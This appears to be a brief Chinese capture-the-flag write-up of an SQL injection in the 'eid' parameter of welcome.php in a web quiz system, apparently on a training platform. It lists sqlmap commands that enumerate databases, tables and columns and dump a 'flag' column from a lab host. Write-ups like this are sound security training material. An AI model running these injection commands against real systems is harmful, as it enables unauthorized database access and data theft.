描述
该CMS的welcome.php中存在SQL注入攻击。
位置
/welcome.php
漏洞分析
注册登录
在welcome.php，发现基于 Web 的测验系统 v1.0 通过 eid 参数包含一个 SQL 注入漏洞。S
存在SQL注入漏洞，可以通过eid参数进行注入。
查询数据库
python sqlmap.py -u "http://eci-2ze4tsdmyu2zp7bj7frb.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=60377db362694&n=1&t=34" -p "eid" --batch --dbs
指定数据库的表
python sqlmap.py -u "http://eci-2ze4tsdmyu2zp7bj7frb.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=60377db362694&n=1&t=34" -p "eid" --batch -D "ctf" --tables
指定表的列--batch -D "ctf" -T "flag" --columns
指定列的数据--batch -D "ctf" -T "flag" -C "flag" --dump
